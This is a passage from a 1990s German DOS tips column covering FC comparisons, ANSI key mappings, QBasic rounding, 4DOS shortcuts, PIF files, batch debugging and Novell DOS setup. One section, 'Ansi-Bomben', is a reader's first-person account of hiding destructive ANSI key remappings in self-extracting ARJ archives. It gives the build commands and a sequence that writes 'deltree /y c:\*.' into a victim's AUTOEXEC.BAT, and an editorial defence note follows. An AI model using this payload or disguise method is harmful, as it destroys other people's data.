so führt FC einen binären Vergleich durch. Der Grund für dieses Verhalten liegt darin, dass FC Dateien mit den Namensendungen COM, EXE und SYS als Programmdateien betrachtet. Wenn Sie FC dagegen mit der Option /l aufrufen, so vergleicht es die Ascii-Zeichen, und Sie erhalten die gewünschten Ergebnisse in korrekter Form.

 

Probleme mit der Tastaturbelegung:
Thema: ANSI-Sequenzen
  Über ANSI-Befehlsfolgen wie
ECHO Prompt <Strg>-<P> <Esc>[0;63;"DIR";13
(belegt die <F5>-Taste mit dem DIR-Befehl und abschliessendem <Return>) habe ich viele meiner Funktionstasten und diverse Tastenkombinationen mit den gängigsten DOS-Befehlen belegt. Doch schon unter MS-DOS 5.0 musste ich feststellen, dass diese Zuweisungen eine gewisse Anzahl nicht überschreiten dürfen. Auch unter MS-DOS 6.2 hat sich hier nichts geändert.
Ich habe bereits versucht, bestimmten Tasten DOSKEY-Makros zuzuweisen, um Speicher für meine Zuweisungen zu sparen - aber ohne Erfolg.
Daniel W., Naila

Zunächst ist anzumerken, dass bereits einer der beiden Befehle ECHO oder PROMPT ausreicht, um eine ANSI-Escape-Sequenz auszugeben. Während ECHO für den Beginn einer solchen Sequenz ein Escape-Zeichen verlangt und sich daher auf der Kommandozeile praktisch nicht verwenden lässt, gibt sich PROMPT mit dem Ersatz "$e", also mit

Prompt $e[0;63;"DIR";13

zufrieden. Die Tastenkombination <Strg>-<P>,<Esc> ist nur dann notwendig, wenn Sie im DOS-Editor ein Es-cape-Zeichen eingeben wollen: Die ANSI-Sequenz selbst beginnt erst mit dem Es-cape-Zeichen.
Das Weglassen des überflüssigen PROMPT-Befehls nach ECHO hat allerdings keinen Einfluss auf das Limit von ANSI.SYS, das bei einer zu grosszügigen Vergabe von Tastaturmakros erreicht wird.
In der Praxis haben wir diese Grenze allerdings niemals erreicht, und das sollte beim üblichen Einsatz von ANSI-Sequenzen auch nicht der Fall sein.
Eine Möglichkeit, Tastenzuweisungen zu vermeiden, stellen in der Tat DOSKEY-Makros dar. Der Tippaufwand für die Ausführung komplexer Befehle reduziert sich mit ihrer Hilfe im Minimalfall auf zwei Tasten-anschläge: Dies sollte den Verzicht auf Tastaturzuweisungen erträglich machen.
Wenn Sie mit diesem Kompromiss nicht leben können und auf exzessives Umdefinieren der Tastaturbelegung Wert legen, bietet vielleicht der alternative Kommandointerpreter 4DOS eine Lösung. Mit dem Alias-Befehl können Sie alle möglichen Tasten neu belegen.-ws

 

Rechenfehler: 0=-2.384186E-06:
Thema: Qbasic
  Frustrierte Pentium-Benutzer haben wohl mit Interesse erfahren, dass QBasic den fehlerhaften Coprozessor des Pentiums nicht benutzt. Aber niemand wird wohl ernsthaft daran denken, das mit DOS mitgelieferte QBasic professionell zu nutzen. Scheinbar gehören aber Rechenfehler zum Standard der gängigen Programme - so auch bei QBasic. Man kann die ärgerliche Ungenauigkeit leicht nachvollziehen. Die Zeilen

A = ((0.9 - 1) * 100) + 10
PRINT A

sollten nach Adam Riese zum Ergebnis "0" führen. Die Rechenkünste von QBasic überraschen mit dem Ergebnis

-2.384186E-06

Das ist zwar eine sehr geringe Abweichung (-0,000002384186) vom korrekten Ergebnis "0". Dennoch gilt auch hier, was beim Pentium-Fehler und den Rundungsfehlern in Kalkulationen die eigentliche Gefahr ist: Dient das ungenaue Ergebnis als Basis für weitere Berechnungen, potenziert sich die zunächst geringe Abweichung.-fg

 

Schneller Verzeichniswechsel:
Thema: 4DOS
  Viele DOS-Anwender benutzen Utilities wie Norton's Change Directory (NCD), um sich beim Verzeichniswechsel die Eingabe von langen Pfadangaben zu ersparen. Unter dem alternativen Kommandointerpreter 4DOS können Sie in solchen Fällen Tipparbeit vermeiden, ohne gleich Software von Drittanbietern kaufen zu müssen. Die Option "File-name Completion" erlaubt es, nur die Anfangsbuchstaben von Datei- oder Verzeichnisnamen einzugeben und sie anschliessend durch 4DOS vervollständigen zu lassen: Wenn Sie

cd wi

eingeben und dann <F9> drücken, dann komplettiert 4DOS diesen Befehl beispielsweise zu

cd winapps

Für den Wechsel in vielbenutzte Verzeichnisse bietet 4DOS ein weiteres Schnellverfahren an: Die Umgebungsvariable "cdpath" macht es möglich, bestimmte Verzeichnisse ohne Angabe des vollständigen Pfades direkt anzusteuern. Wird beispielsweise diese Variable definiert durch

set cdpath=c:\windows

dann können Sie von jedem beliebigen Verzeichnis aus ganz komfortabel mit "cd system" nach C:\WINDOWS\SYSTEM wechseln.-ws

 

Sie spart hundert Klicks:
Thema: _DEFAULT.PIF
  Problem: Sie sind dauernd damit beschäftigt, für diverse DOS-Utilities und Batches eigene PIF-Dateien anzulegen oder - was das gleiche ist - unter Windows 95 die"Eigenschaften" zu ändern.

Lösung: Sofern nicht wirklich jedes kleine Utility seine eigenen Einstellungen haben soll, lässt sich die PIF-Inflation meist durch die General-PIF _DEFAULT.PIF verhindern. Sie gilt für jedes DOS-Programm, das keine eigene PIF besitzt. Daher macht eine gut eingestellte _DEFAULT.PIF oft ein ganzes Heer an individuellen PIFs überflüssig. Sollen sich etwa alle DOS-Programme per Maus beenden lassen, genügt es, die Option "Schliessen beim Beenden von Windows" in der _DEFAULT.PIF anzukreuzen. In Windows 95 ist die Option "Sonstiges, Warnung, wenn noch aktiv" zu deaktivieren. Hier haben Sie ausserdem die Möglichkeit, über "Schriftart" ein Standard-Outfit aller DOS-Boxen zu erzielen.
Um die in Windows 95 nicht vorhandene _DEFAULT.PIF zu erstellen, kopieren Sie einfach eine beliebige vorhandene PIF in das Windows-Verzeichnis und benennen sie um in "_default". Nach einem Klick mit der rechten Maustaste nehmen Sie alle gewünschten Standardeinstellungen vor und löschen die Befehlszeile (!). Vergeben Sie abschliessend am besten ein neues Icon, an dem Sie künftig alle DOS-Programme, die auf _DEFAULT.PIF basieren, sofort erkennen. Unter Windows 3.1x sorgt ein sprechender "Programmtitel" wie "Standard-PIF" für den gleichen Effekt. -ha

 

So bleibt ECHO flexibel:
Thema: Batchdateien
  Nahezu jede Batchdatei beginnt mit dem stereotypen "@echo off", das die Bildschirmausgabe auf das Wesentliche eingrenzen soll. Nun gibt es aber vor allem beim Testen einer Batchdatei durchaus gute Gründe, möglichst alle Aktionen zu überwachen und so eventuellen Fehlern schneller auf die Spur zu kommen. Im allgemeinen reicht es in solchen Fällen bereits aus, den einleitenden ECHO-Befehl vorübergehend auszukommentieren:

::@echo off

In komplizierteren Fällen, insbesondere bei einer Verkettung mehrerer Batchdateien, scheint eine andere Methode praktischer. Beginnen Sie künftig Ihre Batchdateien mit dem Befehl

@if %debug%.==. echo off

Dann steht der ECHO-Befehl in Abhängigkeit von der Variablen "debug". Sobald Sie dieser Variablen einen beliebigen Wert zuweisen (set debug=x), bleibt das Bildschirm-Echo für alle so beginnenden Batchdateien aktiv. Erst das Löschen der Variablen (set debug=) schaltet ECHO wieder aus. -gf

 

Undokumentierter Schalter für COMMAND.COM:
Thema: (I)gnorieren
  Ich möchte bestimmte Daten bei jedem Booten automatisch auf Diskette sichern. Deshalb habe ich im Bios-Setup C: als Boot-Laufwerk eingetragen.
Wenn nun einmal keine Diskette im Laufwerk ist, dann bleibt der Boot-Vorgang beim Versuch, automatisch auf A: zu kopieren, mit der Fehlermeldung "(A)bbrechen, (W)iederholen, (I)gnorieren" hängen. Ist es möglich, DOS so einzurichten, dass es den Boot-Vorgang automatisch fortsetzt, falls das Diskettenlaufwerk leer ist?
Peter H., Asslar

Ihr Problem lässt sich relativ einfach lösen: für COMMAND.COM existiert der undokumentierte Schalter /f, der DOS veranlasst, bei der besagten Fehlermeldung automatisch mit "(I)gnorieren" zu antworten. Damit sich dieses Verhalten von DOS bereits in der AUTOEXEC.BAT bemerkbar macht, müssen Sie in der CONFIG.SYS die Zeile

SHELL=C:\COMMAND.COM /P /E:1024

um den Schalter /f ergänzen:

SHELL=C:\COMMAND.COM /P /F /E:1024

Daraufhin bootet der PC nunmehr anstandslos. -pk

 

Viel Farbenpracht mit Ansi-Bomben:
Thema: Datensicherheit in der Praxis
  Schräge Belegungen: Es gibt immer noch Menschen mit DOS. Und für diese Unverbesserlichen ist ein Ansi-Treiber wie ANSI.SYS ein fast standardmässig eingesetztes Hilfsmittel, um die karge Kommandozeile mit etwas Farbe aufzupeppen. In der Tat bringen die kryptischen Ansi-Sequenzen jede Menge Farbe ins Leben der Mitmenschen, wenn ich sie für schräge Tastenbelegungen verwende:

[13; 8; 13; 13p

In diesem Fall erhält die <Return>-Taste (Ascii 13) einen eingebauten Rückschritt (Ascii 8) verpasst, was die normale Eingabe fantasievoller gestaltet. Raffiniert schräge Belegungen: Da aber bei solchen Anschlägen stets die Gefahr besteht, dass die so geneppten Mitmenschen einen Zusammenhang mit früheren Ansi-Ärgernissen herstellen, packe ich meine Ansi-Bomben bevorzugt in selbstextrahierende EXE-Archive. Leider schaltet das Komprimierprogramm Pkunzip heutzutage die Ansi-Kommentare standardmässig ab. Doch mit der Komprimieralternative ARJ ist es nach wie vor möglich, selbstextrahierende EXE-Archive so zu erstellen, dass sie beim Entpacken unerwünschte Ansi-Belegungen an den Mann (die Frau) bringen: Ich lege also erst einmal ein normales Archiv an (arj a arch *. pcx), dann füge ich mit
arj c arch -zcomment. dat
den Ansi-Kommentar COMMENT.DAT hinzu und verwandle das Archiv anschliessend mit "arj y -je1 -ja arch" in eine EXE-Datei, wobei die Ansi-Kommentare mit dem Schalter "-ja" explizit aktiviert werden müssen. Wie die Escape-Sequenzen in meiner COMMENT.DAT auszusehen haben, steht in jedem DOS-Handbuch: Ich kombiniere stets zur besseren Tarnung einige farbenfrohe Escape-Kommandos mit dem bewussten Tastaturbelegungsbefehl, auf den es mir eigentlich ankommt.
Extrem gefährliche Belegungen: Wer die von mir angelegten Archive entpackt, bekommt einige nette bunte Zeilen serviert, zusätzlich aber auch eine weniger nette Ansi-Sequenz wie zum Beispiel die folgende:

["/";13;"echo deltree /y c:\*. >> c:\autoexec.bat";13;"cls";13;13p

Wenn der Betroffene danach die Taste "/" drückt, schreibt die Bombe eine letale Zeile in seine AUTOEXEC.BAT, die dann beim nächsten Systemstart seine
Verzeichnisse beseitigt. Beim Kollegen W. wollte ich bei diesem Zerstörungswerk lieber auf Nummer Sicher gehen, und so habe ich den Vernichtungsbefehl direkt mit einer bestimmten Taste verknüpft -also ohne den Umweg über die Startdatei.
Wie Sie sich wehren -Kommentar der Redaktion Ansi-Bomben können durch Tastatur-Umbelegungen verheerende Schäden anrichten. In der Regel belegt der Attentäter eine ganz normale Taste, eine Funktionstaste oder auch die <Return>-Taste mit einem oder mehreren vernichtenden DOS-Befehlen. Diese Tastaturdefinition gilt ausschliesslich für den DOS-Prompt.
Ansi-Bomben zielen fast immer auf den Totalschaden. Zwar kann der Bombenleger wie in einer Batchdatei mehrere DOS-Befehle absetzen, aber die Begrenzung auf maximal 127 Zeichen innerhalb einer DOS-Zeile lässt praktisch nur Vernichtung zu. Theoretisch kann jede beliebige Ascii-Datei Ansi-Bomben enthalten. Da diese allerdings
nur durch den antiquierten TYPE-Befehl aktiviert würden, gibt es kaum Hacker, die ihre Anschläge auf diesem Weg zu verüben suchen. Gepackte Archive mit integrierten Ansi-Kommentaren erweisen sich als weitaus zuverlässigere Bombenträger. Diese Kommentare werden beim Entpacken automatisch gelesen: Im Normalfall enthalten sie bunte Mailbox-Logos oder farbige Absender-Adressen, theoretisch aber auch die berüchtigten Bomben. Insbesondere selbstextrahierenden EXE-Archiven, die zunächst einen Farbkommentar abrufen, sollten Sie mit Vorsicht begegnen. TIP: Sicher vor Ansi-Bomben sind Sie, wenn Sie den Treiber ANSI.SYS erst gar nicht installiert haben. Praktisch genauso sicher sind Sie auch mit installiertem ANSI.SYS, wenn Sie nach dem Entpacken sofort den Rechner neu starten beziehungsweise unter Windows oder OS/ 2 sofort die DOS-Box schliessen, in der Sie das Archiv entpackt haben. So schliessen Sie definitiv aus, dass Sie auf eine Tastenmine treten, weil Ansi-Belegungen nur für die lokale DOS-Box gelten.

 

Visuell gliedernde Sprungmarken:
Thema: Batchdateien
  Bei Batchdateien mit GOTO-Sprüngen versäumen die meisten Anwender eine ganz einfache und praktische Möglichkeit, die Struktur ihrer Batchdatei nicht nur inhaltlich, sondern auch optisch zu gliedern. Es bietet sich nämlich an, statt eines nichtssagenden Labelnamens wie ":Weiter", den man erst im Kontext suchen muss, etwa eine gestrichelte Linie oder auch ein Sonderzeichen einzusetzen.
Eine besonders klare optische Struktur erreichen Sie mit einer Sonderzeichenmarke von etwa 40 oder 60 Zeichen Länge. Der DOS-Kommandointerpreter hat mit einer solchen Marke weder nach dem GOTO noch nach dem Markendoppelpunkt Probleme: Er liest die Marke einfach bis zum achten Zeichen ein und ignoriert den Rest. Für solche Labels können Sie zwar nicht die die typischen Sonderzeichen wie Pluszeichen, Punkt oder Strichpunkt verwenden, doch stehen immerhin alle Zeichen des erweiterten ASCII-Vorrats zur Verfügung. -rb

 

Vobis-Pentium und überholte DLL:

Thema:

MS-DOS 6.x
  Die Windows-Version des Backup-Dienstprogramms aus dem Lieferumfang von MS-DOS 6.x scheitert beim Konfigurationstest. Betroffen sind sämtliche PCI-Rechner, die den Konfigurationstest mit einem "Lesefehler auf Laufwerk A:" abbrechen.
Verursacher ist die Datei MWBACKF.DLL, die sich üblicher- weise im DOS-Verzeichnis befindet. Inzwischen gibt es eine neue DLL, bei der dieser Fehler nicht mehr auftritt und die Sie aus der PC-WELT-Mailbox (089/36086357) beziehen können. -ha

 

Windows-Unterstützungnachträglich installieren:
Thema: Novell-DOS 7.0
  Novell-DOS richtet bei seiner Installation eine eigene Programmgruppe für die mitgelieferten Utilities ein und sorgt für die Windows-Unterstützung der mitgelieferten Personal Netware. Voraussetzung dafür ist natürlich, dass Sie im Novell-DOS-Setup die entsprechende Option aktivieren. Allerdings erscheint diese Option nur, wenn Sie Novell-DOS über eine bestehende DOS/Windows-Umgebung installieren.
Ist bei der Erstinstallation kein Windows vorhanden, unterschlägt das DOS-7.0-Setup aus naheliegenden Gründen einfach die Windows-Option. Der Versuch, dieWindows-Unterstützung nachträglich für ein "frisches" Windows einzurichten, scheitert allerdings an der Widerspenstigkeit des Setup-Programms: Es verschweigt hartnäckig die gewünschte Option. Sie müssten also Novell-DOS nochmals komplett von Diskette installieren, um die Windows-Komponenten nachrüsten zu können.
Einfacher lässt sich dieses Problem beheben, indem Sie ein paar Einträge in der DateiSETUP.INI - sie steht im Verzeichnis NWDOS - folgendermassen anpassen:

Winpath = <Windows-Pfad>
FirstTime = Yes
Element0Installed = Yes
Element1Installed = No
Element2Installed = Yes
NetcfgDir=<Personal-NetWarePfad>
Windows=No

Für den Eintrag NetcfgDir müssen Sie unbedingt den Pfad zu Ihrer NET.CFG-Datei angeben.
Nun erst erklärt sich das recht eigenwillige Installationsprogramm bereit, die Windows-Unterstützung für Personal Netware sowie für Novells Windows-Programme einzurichten und dem Programm-Manager eine eigene Gruppe für Novell-DOS 7.0 hinzuzufügen.

 

 

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